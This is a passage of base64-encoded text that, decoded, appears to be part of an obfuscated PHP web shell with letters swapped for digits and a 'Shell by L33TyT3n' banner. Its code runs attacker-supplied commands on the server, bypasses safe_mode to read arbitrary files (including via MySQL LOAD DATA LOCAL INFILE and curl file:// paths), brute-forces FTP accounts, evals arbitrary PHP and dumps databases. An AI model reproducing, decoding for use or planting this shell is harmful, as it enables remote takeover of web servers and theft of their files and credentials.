sMjFkX3RtcF9kNHInKTsNCiAgNWxzNTRmKEA0c193cjR0NTFibDUoZDRybjFtNShfX0ZJTEVfXykpKSAkdG1wPWQ0cm4xbTUoX19GSUxFX18pOw0KICA1bHM1IGJyNTFrOw0KICAkbjFtNT0kdG1wLiJcXCIuM240cTRkKCk7DQogICRuPTNuNHE0ZCgpOw0KICAkY21kPSg1bXB0eSgkX1NFUlZFUlsnQ09NU1BFQyddKSk/J2M6XFx3NG5kMndzXFxzeXN0NW1vYVxcY21kLjV4NSc6JF9TRVJWRVJbJ0NPTVNQRUMnXTsNCiAgdzRub2FfY3I1MXQ1X3M1cnY0YzUoMXJyMXkoJ3M1cnY0YzUnPT4kbiwnZDRzcGwxeSc9PiRuLCdwMXRoJz0+JGNtZCwncDFyMW1zJz0+Ii9jICIuJF9QT1NUWyd0NXN0NmVfY21kJ10uIiA+XCIkbjFtNVwiIikpOw0KICB3NG5vYV9zdDFydF9zNXJ2NGM1KCRuKTsNCiAgdzRub2Ffc3QycF9zNXJ2NGM1KCRuKTsNCiAgdzRub2FfZDVsNXQ1X3M1cnY0YzUoJG4pOw0KICB3aDRsNSghZjRsNV81eDRzdHMoJG4xbTUpKSBzbDU1cCg2KTsNCiAgJDV4NWM9ZjRsNV9nNXRfYzJudDVudHMoJG4xbTUpOw0KICAzbmw0bmsoJG4xbTUpOw0KICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJDV4NWMpOw0KICBicjUxazsNCiAgYzFzNSAndDVzdDY4JzoNCiAgNGYoQDRzX3dyNHQxYmw1KCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICA1bHM1NGYoQDRzX3dyNHQ1MWJsNSg0bjRfZzV0KCdzNXNzNDJuLnMxdjVfcDF0aCcpKSkgJHRtcD00bjRfZzV0KCdzNXNzNDJuLnMxdjVfcDF0aCcpOw0KICA0ZihANHNfd3I0dDUxYmw1KDRuNF9nNXQoJzNwbDIxZF90bXBfZDRyJykpKSAkdG1wPTRuNF9nNXQoJzNwbDIxZF90bXBfZDRyJyk7DQogIDVsczU0ZihANHNfd3I0dDUxYmw1KGQ0cm4xbTUoX19GSUxFX18pKSkgJHRtcD1kNHJuMW01KF9fRklMRV9fKTsNCiAgNWxzNSBicjUxazsNCiAgJG4xbTU9JHRtcC4iXFwiLjNuNHE0ZCgpOw0KICAkMXA0PW41dyBmZjQoIltsNGI9J2s1cm41bG9hLmRsbCddIDRudCBXNG5FeDVjKGNoMXIgKkFQUCw0bnQgU1cpOyIpOw0KICAkcjVzPSQxcDQtPlc0bkV4NWMoImNtZC41eDUgL2MgIi4kX1BPU1RbJ3Q1c3Q2OF9jbWQnXS4iID5cIiRuMW01XCIiLDApOw0KICB3aDRsNSghZjRsNV81eDRzdHMoJG4xbTUpKSBzbDU1cCg2KTsNCiAgJDV4NWM9ZjRsNV9nNXRfYzJudDVudHMoJG4xbTUpOw0KICAzbmw0bmsoJG4xbTUpOw0KICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJDV4NWMpOw0KICBicjUxazsNCiAgYzFzNSAndDVzdDY5JzoNCg0KNGYoRW1wdHkoJHQ1c3Q2OSkgMU5kIEVtcHR5KCRfR0VUWyd0NXN0NjknXSkgMU5kIEVtcHR5KCRfUE9TVFsndDVzdDY5J10pKSBkNEUoIlxuIi4kazFyMXQybjRrKTsNCg0KNGYoITVtcHR5KCRfR0VUWyd0NXN0NjknXSkpICRmNGw1PSRfR0VUWyd0NXN0NjknXTsNCjRmKCE1bXB0eSgkX1BPU1RbJ3Q1c3Q2OSddKSkgJGY0bDU9JF9QT1NUWyd0NXN0NjknXTsNCg0KDQo0ZigoYzNybF81eDVjKGMzcmxfNG40dCgiZjRsNTpodHRwOi8vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi4kZjRsNSkpKSAxTmQgITVtcHRZKCRmNGw1KSkgZDQ1KCI8Qj48YnI+U2g1bGwgYnkgTDMzVHlUM248L0I+PC9GT05UPiIpOw0KNWxzNTRmKCE1bXB0WSgkZjRsNSkpIGQ0NSgiUzJycnkuLi4gRjRsNSAiLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDUpLiJkMjVzbid0IDV4NHN0cyAyciB5MjMgZDJuJ3QgaDF2NSBwNXJtNHNzNDJucyIpO0I1MXJrOw0KYzFzNSAndDVzdGEwJzoNCkAyYl9jbDUxbigpOw0KICAkNXJyMnJfcjVwMnJ0NG5nID0gQDRuNF9nNXQoJzVycjJyX3I1cDJydDRuZycpOw0KICA1cnIycl9yNXAycnQ0bmcoRV9BTEwgXiBFX05PVElDRSk7DQogIEA0bjRfczV0KCJkNHNwbDF5XzVycjJycyIsIDYpOw0KICBANG40XzFsdDVyKCJkNHNwbDF5XzVycjJycyIsIDYpOw0KICAkc3RyPUBmMnA1bigkX1BPU1RbJ3Q1c3RhMF9mNGw1J10sInIiKTsNCiAgd2g0bDUoIWY1MmYoJHN0cikpe3ByNG50IGh0bWxzcDVjNDFsY2gxcnMoZmc1dHMoJHN0cikpO30NCiAgZmNsMnM1KCRzdHIpOw0KICA1cnIycl9yNXAycnQ0bmcoJDVycjJyX3I1cDJydDRuZyk7DQogIGJyNTFrOw0KYzFzNSAndDVzdGE2JzoNCiRmNGw1bj0kX1BPU1RbJ3Q1c3RhNl9mNGw1J107DQpAZjJwNW4oJ3NycDF0aDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLycuJF9QT1NUWyd0NXN0YTZfZjRsNSddLCIxIik7DQo0ZiAoZjRsNV81eDRzdHMoJGY0bDVuKSkNCnsNCjVjaDIgJGwxbmdbJGwxbmczMWc1LidfdDV4dGU2J107DQp9DQo1bHM1DQo1Y2gyICJDMW4ndCB3cjR0NSBmNGw1IjsNCg0KICBicjUxazsNCmMxczUgJ3Q1c3RhYSc6DQogICAgICAgNWNoMiAiUEhQIHI1MWxwMXRoKCkgbDRzdDRuZyBkNHI1Y3QycnkgUzFmNV9tMmQ1IGJ5cDFzcyBFeHBsMjR0XHJcblxyXG4iOw0KICAgICAgIDRmKCEkZDRyKXskZDRyPScvNXRjLyc7fTsNCiAgICAgICA0ZighNW1wdHkoJF9QT1NUWyc1bmRfcmxwaCddKSl7JDVuZF9ybHBoPSRfUE9TVFsnNW5kX3JscGgnXTt9NWxzNXskNW5kX3JscGg9Jyc7fQ0KICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ25fcmxwaCddKSl7JG5fcmxwaD0kX1BPU1RbJ25fcmxwaCddO301bHM1eyRuX3JscGg9J28nO30NCg0KICAgICAgIDRmKCRyNTFscDF0aD1yNTFscDF0aCgkZDRyLicvJykpezVjaDIgJHI1MWxwMXRoLiJcclxuIjt9DQogICAgICAgNGYoJDVuZF9ybHBoIT0nJyAmJiAkcjUxbHAxdGg9cjUxbHAxdGgoJGQ0ci4nLycuJDVuZF9ybHBoKSl7NWNoMiAkcjUxbHAxdGguIlxyXG4iO30NCiAgICAgICBmMnI1MWNoKCRwcjVzNXRzX3JscGggMXMgJHByNXM1dF9ybHBoKXsNCiAgICAgICAgICAgNGYoJHI1MWxwMXRoPXI1MWxwMXRoKCRkNHIuJy8nLiRwcjVzNXRfcmxwaC4kNW5kX3JscGgpKXs1Y2gyICRyNTFscDF0aC4iXHJcbiI7fQ0KICAgICAgIH0NCiAgICAgICBmMnIoJDQ9MDsgJDQgPCBzdHJsNW4oJGNoMXJzX3JscGgpOyAkNCsrKXsNCiAgICAgICAgICA0ZigkcjUxbHAxdGg9cjUxbHAxdGgoJGQ0ci4iL3skY2gxcnNfcmxwaFskNF19Ii4kNW5kX3JscGgpKXs1Y2gyICRyNTFscDF0aC4iXHJcbiI7fQ0KICAgICAgICAgIDRmKCRuX3JscGg8PTYpe2MybnQ0bjM1O307DQogICAgICAgICAgZjJyKCRqPTA7ICRqIDwgc3RybDVuKCRjaDFyc19ybHBoKTsgJGorKyl7DQogICAgICAgICAgICAgNGYoJHI1MWxwMXRoPXI1MWxwMXRoKCRkNHIuIi97JGNoMXJzX3JscGhbJDRdfXskY2gxcnNfcmxwaFskal19Ii4kNW5kX3JscGgpKXs1Y2gyICRyNTFscDF0aC4iXHJcbiI7fQ0KICAgICAgICAgICAgIDRmKCRuX3JscGg8PWEpe2MybnQ0bjM1O307DQogICAgICAJICAgICBmMnIoJHg9MDsgJHggPCBzdHJsNW4oJGNoMXJzX3JscGgpOyAkeCsrKXsNCiAgICAgICAgICAgICAgICA0ZigkcjUxbHAxdGg9cjUxbHAxdGgoJGQ0ci4iL3skY2gxcnNfcmxwaFskNF19eyRjaDFyc19ybHBoWyRqXX17JGNoMXJzX3JscGhbJHhdfSIuJDVuZF9ybHBoKSl7NWNoMiAkcjUxbHAxdGguIlxyXG4iO30NCiAgICAgICAgICAgICAgICA0Zigkbl9ybHBoPD1vKXtjMm50NG4zNTt9Ow0KICAgICAgICAgICAgICAgIGYycigkeT0wOyAkeSA8IHN0cmw1bigkY2gxcnNfcmxwaCk7ICR5Kyspew0KICAgICAgCSAgICAgICAgICAgNGYoJHI1MWxwMXRoPXI1MWxwMXRoKCRkNHIuIi97JGNoMXJzX3JscGhbJDRdfXskY2gxcnNfcmxwaFskal19eyRjaDFyc19ybHBoWyR4XX17JGNoMXJzX3JscGhbJHldfSIuJDVuZF9ybHBoKSl7NWNoMiAkcjUxbHAxdGguIlxyXG4iO30NCiAgICAgIAkgICAgICAgICAgIDRmKCRuX3JscGg8PXUpe2MybnQ0bjM1O307DQogICAgICAJICAgICAgICAgICBmMnIoJHo9MDsgJHogPCBzdHJsNW4oJGNoMXJzX3JscGgpOyAkeisrKXsNCiAgICAgIAkgICAgICAgICAgICAgIDRmKCRyNTFscDF0aD1yNTFscDF0aCgkZDRyLiIveyRjaDFyc19ybHBoWyQ0XX17JGNoMXJzX3JscGhbJGpdfXskY2gxcnNfcmxwaFskeF19eyRjaDFyc19ybHBoWyR5XX17JGNoMXJzX3JscGhbJHpdfSIuJDVuZF9ybHBoKSl7NWNoMiAkcjUxbHAxdGguIlxyXG4iO30NCiAgICAgIAkgICAgICAgICAgICAgIDRmKCRuX3JscGg8PWkpe2MybnQ0bjM1O307DQogICAgICAJICAgICAgICAgICAgICBmMnIoJHc9MDsgJHcgPCBzdHJsNW4oJGNoMXJzX3JscGgpOyAkdysrKXsNCiAgICAgIAkgICAgICAgICAgICAgICAgIDRmKCRyNTFscDF0aD1yNTFscDF0aCgkZDRyLiIveyRjaDFyc19ybHBoWyQ0XX17JGNoMXJzX3JscGhbJGpdfXskY2gxcnNfcmxwaFskeF19eyRjaDFyc19ybHBoWyR5XX17JGNoMXJzX3JscGhbJHpdfXskY2gxcnNfcmxwaFskd119Ii4kNW5kX3JscGgpKXs1Y2gyICRyNTFscDF0aC4iXHJcbiI7fQ0KICAgICAgCQkgICAgICB9DQogICAgICAJCSAgIH0NCiAgICAgIAkgICAgICAgICB9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgfQ0KICAgICAgIDVjaDIgIlxyXG4gRzVuNXIxdDQybiB0NG01OiAiLnIyM25kKEBnNXRtNGNyMnQ0bTUoKS1zdDFydHQ0bTUsdSkuIiBzNWNcclxuIjsNCiBicjUxazsNCmMxczUgJ3Q1c3Rhbyc6DQogIEBzNXNzNDJuX3MxdjVfcDF0aCgkX1BPU1RbJ3Q1c3Rhb19mNGw1YSddLiJcMDskdDVtcGQ0ciIpOw0KICBAczVzczQybl9zdDFydCgpOw0KICBAJF9TRVNTSU9OW3BocF09JF9QT1NUWyd0NXN0YW9fZjRsNTYnXTsNCiAgJGY0bDVuPSRfUE9TVFsndDVzdGFvX2Y0bDVhJ107DQogICAgNGYoZjRsNV81eDRzdHMoJGY0bDVuKSkNCiAgICA1Y2gyICRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlNiddLiIgICIuJGY0bDVuOw0KICAgIDVsczUNCiAgNWNoMiAiQzFuJ3Qgd3I0dDUgZjRsNSI7DQogIGJyNTFrOw0KYzFzNSAndDVzdGF1JzoNCkBwM3Q1bnYoIlRNUERJUj0iLiRfUE9TVFsndDVzdGF1X2Y0bDVhJ10pOw0KICBANG40X3M1dCgiczVzczQybi5zMXY1X3AxdGgiLCAiIik7DQogIEA0bjRfMWx0NXIoInM1c3M0Mm4uczF2NV9wMXRoIiwgIiIpOw0KICBAczVzczQybl9zdDFydCgpOw0KICBAJF9TRVNTSU9OW3BocF09JF9QT1NUWyd0NXN0YXVfZjRsNTYnXTsNCiAgJGY0bDVuPSRfUE9TVFsndDVzdGF1X2Y0bDVhJ107DQogIDRmKGY0bDVfNXg0c3RzKCRmNGw1bikpDQogIDVjaDIgJGwxbmdbJGwxbmczMWc1LidfdDV4dGU2J10uIiAgIi4kZjRsNW47DQogIDVsczUNCiAgNWNoMiAiQzFuJ3Qgd3I0dDUgZjRsNSI7DQogIGJyNTFrOw0KYzFzNSAndDVzdGFpJzoNCiAgQHI1MWRmNGw1KCRfUE9TVFsndDVzdGFpX2Y0bDU2J10sIG8sICJwaHA6Ly8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLiRfUE9TVFsndDVzdGF1X2Y0bDVhJ10pOw0KICAkZjRsNW49JF9QT1NUWyd0NXN0YWlfZjRsNWEnXTsNCiAgNGYoZjRsNV81eDRzdHMoJGY0bDVuKSkNCiAgNWNoMiAkbDFuZ1skbDFuZzMxZzUuJ190NXh0ZTYnXTsNCiAgNWxzNQ0KICA1Y2gyICJDMW4ndCB3cjR0NSBmNGw1IjsNCiAgYnI1MWs7DQogICBjMXM1ICdmNGw1Nic6DQoNCjRmKCE1bXB0eSgkX1BPU1RbJ2Y0bDU2J10pKQ0KICRmNGw1Nj0kX1BPU1RbJ2Y0bDU2J107DQoNCiAgJGw1djVsPTA7DQoNCiAgNGYoIWY0bDVfNXg0c3RzKCJmNGw1NjoiKSkNCiAgCW1rZDRyKCJmNGw1NjoiKTsNCiAgY2hkNHIoImY0bDU2OiIpOw0KICAkbDV2NWwrKzsNCg0KICAkaDFyZHN0eWw1ID0gNXhwbDJkNSgiLyIsICRmNGw1Nik7DQoNCiAgZjJyKCQxPTA7JDE8YzIzbnQoJGgxcmRzdHlsNSk7JDErKyl7DQogIAk0ZighNW1wdHkoJGgxcmRzdHlsNVskMV0pKXsNCiAgCQk0ZighZjRsNV81eDRzdHMoJGgxcmRzdHlsNVskMV0pKQ0KICAJCQlta2Q0cigkaDFyZHN0eWw1WyQxXSk7DQogIAkJY2hkNHIoJGgxcmRzdHlsNVskMV0pOw0KICAJCSRsNXY1bCsrOw0KICAJfQ0KICB9DQoNCiAgd2g0bDUoJGw1djVsLS0pIGNoZDRyKCIuLiIpOw0KDQogICRjaCA9IGMzcmxfNG40dCgpOw0KDQogIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsICJmNGw1NjpmNGw1NjovLy8iLiRmNGw1Nik7DQoNCiAgNGYoRkFMU0U9PWMzcmxfNXg1YygkY2gpKQ0KICAJZDQ1KCc+UzJycnkuLi4gRjRsNSAnLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDU2KS4nIGQyNXNudCA1eDRzdHMgMnIgeTIzIGQybnQgaDF2NSBwNXJtNHNzNDJucy4nKTsNCg0KICBjM3JsX2NsMnM1KCRjaCk7DQpicjUxazsNCiAgYzFzNSAnZjRsNSc6DQoNCjRmKCE1bXB0eSgkX1BPU1RbJ2Y0bDUnXSkpDQogJGY0bDU9JF9QT1NUWydmNGw1J107DQoNCiAgJGw1djVsPTA7DQoNCiAgNGYoIWY0bDVfNXg0c3RzKCJmNGw1OiIpKQ0KICAJbWtkNHIoImY0bDU6Iik7DQogIGNoZDRyKCJmNGw1OiIpOw0KICAkbDV2NWwrKzsNCg0KICAkaDFyZHN0eWw1ID0gNXhwbDJkNSgiLyIsICRmNGw1KTsNCg0KICBmMnIoJDE9MDskMTxjMjNudCgkaDFyZHN0eWw1KTskMSsrKXsNCiAgCTRmKCE1bXB0eSgkaDFyZHN0eWw1WyQxXSkpew0KICAJCTRmKCFmNGw1XzV4NHN0cygkaDFyZHN0eWw1WyQxXSkpDQogIAkJCW1rZDRyKCRoMXJkc3R5bDVbJDFdKTsNCiAgCQljaGQ0cigkaDFyZHN0eWw1WyQxXSk7DQogIAkJJGw1djVsKys7DQogIAl9DQogIH0NCg0KICB3aDRsNSgkbDV2NWwtLSkgY2hkNHIoIi4uIik7DQoNCiAgJGNoID0gYzNybF80bjR0KCk7DQoNCiAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgImY0bDU6ZjRsNTovLy8iLiRmNGw1KTsNCg0KICA0ZihGQUxTRT09YzNybF81eDVjKCRjaCkpDQogIAlkNDUoJz5TMnJyeS4uLiBGNGw1ICcuaHRtbHNwNWM0MWxjaDFycygkZjRsNSkuJyBkMjVzbnQgNXg0c3RzIDJyIHkyMyBkMm50IGgxdjUgcDVybTRzczQybnMuJyk7DQoNCiAgYzNybF9jbDJzNSgkY2gpOw0KYnI1MWs7DQoNCg0KIH0NCn0NCjVsczUgNGYoKCRfUE9TVFsnY21kJ10hPSJwaHBfNXYxbCIpJiYoJF9QT1NUWydjbWQnXSE9Im15c3FsX2QzbXAiKSYmKCRfUE9TVFsnY21kJ10hPSJkYl9xMzVyeSIpJiYoJF9QT1NUWydjbWQnXSE9ImZ0cF9icjN0NSIpKXsNCiAkY21kX3I1cCA9IDV4KCRfUE9TVFsnY21kJ10pOw0KIDRmKCEkM240eCkgeyA1Y2gyIEBodG1sc3A1YzQxbGNoMXJzKEBjMm52NXJ0X2N5cl9zdHI0bmcoJGNtZF9yNXAsJ2QnLCd3JykpLiJcbiI7IH0NCiA1bHM1IHsgNWNoMiBAaHRtbHNwNWM0MWxjaDFycygkY21kX3I1cCkuIlxuIjsgfX0NCjRmICgkX1BPU1RbJ2NtZCddPT0ibDMzdHl0M25fbXlzcWwiKQ0KIHsNCiAgNGYoNW1wdHkoJF9QT1NUWyd0NXN0b19zciddKSkgeyAkX1BPU1RbJ3Q1c3RvX3NyJ10gPSAibDJjMWxoMnN0IjsgfQ0KICA0Zig1bXB0eSgkX1BPU1RbJ3Q1c3RvX3AycnQnXSkpIHsgJF9QT1NUWyd0NXN0b19wMnJ0J10gPSAib28wZSI7IH0NCiAgJGRiID0gQG15c3FsX2Mybm41Y3QoJF9QT1NUWyd0NXN0b19zciddLic6Jy4kX1BPU1RbJ3Q1c3RvX3AycnQnXSwkX1BPU1RbJ3Q1c3RvX21sJ10sJF9QT1NUWyd0NXN0b19tcCddKTsNCiAgNGYoJGRiKQ0KICAgew0KICAgNGYoQG15c3FsX3M1bDVjdF9kYigkX1BPU1RbJ3Q1c3RvX21kJ10sJGRiKSkNCiAgICB7DQogICAgIEBteXNxbF9xMzVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgbDMzdHl0M24iKTsNCiAgICAgQG15c3FsX3EzNXJ5KCJDUkVBVEUgVEFCTEUgYGwzM3R5dDNuYCAoIGBmNGw1YCBMT05HQkxPQiBOT1QgTlVMTCApIik7DQogICAgIEBteXNxbF9xMzVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSBcIiIuc3RyX3I1cGwxYzUoJ1xcJywnLycsJF9QT1NUWyd0NXN0b19mNGw1J10pLiJcIiBJTlRPIFRBQkxFIGwzM3R5dDNuIEZJRUxEUyBURVJNSU5BVEVEIEJZICcnIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnXG4nIik7DQogICAgICRyID0gQG15c3FsX3EzNXJ5KCJTRUxFQ1QgKiBGUk9NIGwzM3R5dDNuIik7DQogICAgIHdoNGw1KCgkcl9zcWwgPSBAbXlzcWxfZjV0Y2hfMXJyMXkoJHIpKSkgeyA1Y2gyIEBodG1sc3A1YzQxbGNoMXJzKCRyX3NxbFswXSk7IH0NCiAgICAgQG15c3FsX3EzNXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBsMzN0eXQzbiIpOw0KICAgIH0NCiAgICA1bHM1IDVjaDIgIlstXSBFUlJPUiEgQzFuJ3QgczVsNWN0IGQxdDFiMXM1IjsNCiAgIEBteXNxbF9jbDJzNSgkZGIpOw0KICAgfQ0KICA1bHM1IDVjaDIgIlstXSBFUlJPUiEgQzFuJ3QgYzJubjVjdCB0MiBteXNxbCBzNXJ2NXIiOw0KIH0NCjRmICgkX1BPU1RbJ2NtZCddPT0iZnRwX2JyM3Q1IikNCiB7DQogJHMzYyA9IDA7DQogZjJyNTFjaCgkM3M1cnMgMXMgJDNzNXIpDQogIHsNCiAgJGMybm41Y3Q0Mm4gPSBAZnRwX2Mybm41Y3QoJGZ0cF9zNXJ2NXIsJGZ0cF9wMnJ0LDYwKTsNCiAgNGYoQGZ0cF9sMmc0bigkYzJubjVjdDQybiwkM3M1ciwkM3M1cikpIHsgNWNoMiAiWytdICQzczVyOiQzczVyIC0gczNjYzVzc1xyXG4iOyAkczNjKys7IH0NCiAgNWxzNSA0Zig0c3M1dCgkX1BPU1RbJ3I1djVyczUnXSkpIHsgNGYoQGZ0cF9sMmc0bigkYzJubjVjdDQybiwkM3M1cixzdHJyNXYoJDNzNXIpKSkgeyA1Y2gyICJbK10gJDNzNXI6Ii5zdHJyNXYoJDNzNXIpLiIgLSBzM2NjNXNzXHJcbiI7ICRzM2MrKzsgfSB9DQogIEBmdHBfY2wyczUoJGMybm41Y3Q0Mm4pOw0KICB9DQogNWNoMiAiXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuIjsNCiAkYzIzbnQgPSBjMjNudCgkM3M1cnMpOw0KIDRmKDRzczV0KCRfUE9TVFsncjV2NXJzNSddKSkgeyAkYzIzbnQgKj0gYTsgfQ0KIDVjaDIgJGwxbmdbJGwxbmczMWc1LidfdDV4dDk3J10uJGMyM250LiJcclxuIjsNCiA1Y2gyICRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ5OCddLiRzM2MuIlxyXG4iOw0KIH0NCjRmICgkX1BPU1RbJ2NtZCddPT0icGhwXzV2MWwiKXsNCiAkNXYxbCA9IEBzdHJfcjVwbDFjNSgiPD8iLCIiLCRfUE9TVFsncGhwXzV2MWwnXSk7DQogJDV2MWwgPSBAc3RyX3I1cGwxYzUoIj8+IiwiIiwkNXYxbCk7DQogQDV2MWwoJDV2MWwpO30NCjRmICgkX1BPU1RbJ2NtZCddPT0ibXlzcWxfZDNtcCIpDQogew0KICA0Zig0c3M1dCgkX1BPU1RbJ2Q0ZiddKSkgeyAkZnAgPSBAZjJwNW4oJF9QT1NUWydkNGZfbjFtNSddLCAidyIpOyB9DQogICRzcWwgPSBuNXcgbXlfc3FsKCk7DQogICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107DQogICRzcWwtPmgyc3QgPSAkX1BPU1RbJ2RiX3M1cnY1ciddOw0KICAkc3FsLT5wMnJ0ID0gJF9QT1NUWydkYl9wMnJ0J107DQogICRzcWwtPjNzNXIgPSAkX1BPU1RbJ215c3FsX2wnXTsNCiAgJHNxbC0+cDFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KICAkc3FsLT5iMXM1ID0gJF9QT1NUWydteXNxbF9kYiddOw0KICA0ZighJHNxbC0+YzJubjVjdCgpKSB7IDVjaDIgIlstXSBFUlJPUiEgQzFuJ3QgYzJubjVjdCB0MiBTUUwgczVydjVyIjsgfQ0KICA1bHM1IDRmKCEkc3FsLT5zNWw1Y3RfZGIoKSkgeyA1Y2gyICJbLV0gRVJST1IhIEMxbid0IHM1bDVjdCBkMXQxYjFzNSI7IH0NCiAgNWxzNSA0ZighJHNxbC0+ZDNtcCgkX1BPU1RbJ215c3FsX3RibCddKSkgeyA1Y2gyICJbLV0gRVJST1IhIEMxbid0IGNyNTF0NSBkM21wIjsgfQ0KICA1bHM1IHsNCiAgIDRmKDVtcHR5KCRfUE9TVFsnZDRmJ10pKSB7IGYycjUxY2goJHNxbC0+ZDNtcCAxcyAkdikgNWNoMiAkdi4iXHJcbiI7IH0NCiAgIDVsczUgNGYoJGZwKXsgZjJyNTFjaCgkc3FsLT5kM21wIDFzICR2KSBAZnAzdHMoJGZwLCR2LiJcclxuIik7IH0NCiAgIDVsczUgeyA1Y2gyICJbLV0gRVJST1IhIEMxbid0IHdyNHQ1IDRuIGQzbXAgZjRsNSI7IH0NCiAgIH0NCiB9DQo1Y2gyICI8L3Q1eHQxcjUxPjwvZDR2PiI7DQo1Y2gyICI8L2I+IjsNCjVjaDIgIjwvdGQ+PC90cj48L3QxYmw1PiI7DQo1Y2gyICI8dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTA+IjsNCmYzbmN0NDJuIGQ0dl90NHRsNSgkdDR0bDUsICQ0ZCkNCnsNCiAgcjV0M3JuICc8MSBzdHlsNT0iYzNyczJyOiBwMjRudDVyOyIgMm5DbDRjaz0iY2gxbmc1X2Q0dnN0KFwnJy4kNGQuJ1wnKTsiPicuJHQ0dGw1Lic8LzE+JzsNCn0NCmYzbmN0NDJuIGQ0digkNGQpDQogew0KIDRmKDRzczV0KCRfQ09PS0lFWyQ0ZF0pICYmICRfQ09PS0lFWyQ0ZF09PTApIHI1dDNybiAnPGQ0diA0ZD0iJy4kNGQuJyIgc3R5bDU9ImQ0c3BsMXk6IG4ybjU7Ij4nOw0KIHI1dDNybiAnPGQ0diA0ZD0iJy4kNGQuJyI+JzsNCiB9DQo0ZighJHMxZjVfbTJkNSl7DQo1Y2gyICRmcy4kdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0YSddLCc0ZDYnKS4kdDFibDVfM3BhLmQ0dignNGQ2JykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0byddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdjbWQnLDhpLCcnKSk7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHR1J10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ2Q0cicsOGksJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NiddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQp9DQo1bHM1ew0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGE4J10sJzRkYScpLiR0MWJsNV8zcGEuZDR2KCc0ZGEnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHR1J10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ2Q0cicsOGksJGQ0cikuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwnczFmNV9kNHInKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHRlJ10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCg0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGFhdSddLCc0ZGk2NicpLiR0MWJsNV8zcGEuZDR2KCc0ZGk2NicpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwYSddLiQxcnIydy4iPC9iPiIsIjxzNWw1Y3QgczR6NT1cIjZcIiBuMW01PVwicGwzZzRuXCI+PDJwdDQybiB2MWwzNT1cInBsM2c0blwiPi81dGMvcDFzc3dkPC8ycHQ0Mm4+PC8ycHQ0Mm4+PC9zNWw1Y3Q+Ii40bignaDRkZDVuJywnY21kJywwLCdwbDNnNG4nKS40bignaDRkZDVuJywnZDRyJywwLCRkNHIpLndzKHUpLjRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dDcnXSkpOw0KNWNoMiAkdDUuJzwvZDR2PicuJHQxYmw1XzVuZDYuJGY1Ow0KfQ0KDQo0ZigkczFmNV9tMmQ1KXsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRpNyddLCc0ZHUnKS4kdDFibDVfM3BhLmQ0dignNGR1JykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0aTgnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnbWtfbjFtNScsaXUsKCE1bXB0eSgkX1BPU1RbJ21rX24xbTUnXSk/KCRfUE9TVFsnbWtfbjFtNSddKTooIiIpKSkud3ModSkuIjxzNWw1Y3QgbjFtNT0xY3Q0Mm4+PDJwdDQybiB2MWwzNT1jcjUxdDU+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0ZWknXS4iPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1kNWw1dDU+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0ZWUnXS4iPC8ycHQ0Mm4+PC9zNWw1Y3Q+Ii53cyhvKS4iPHM1bDVjdCBuMW01PXdoMXQ+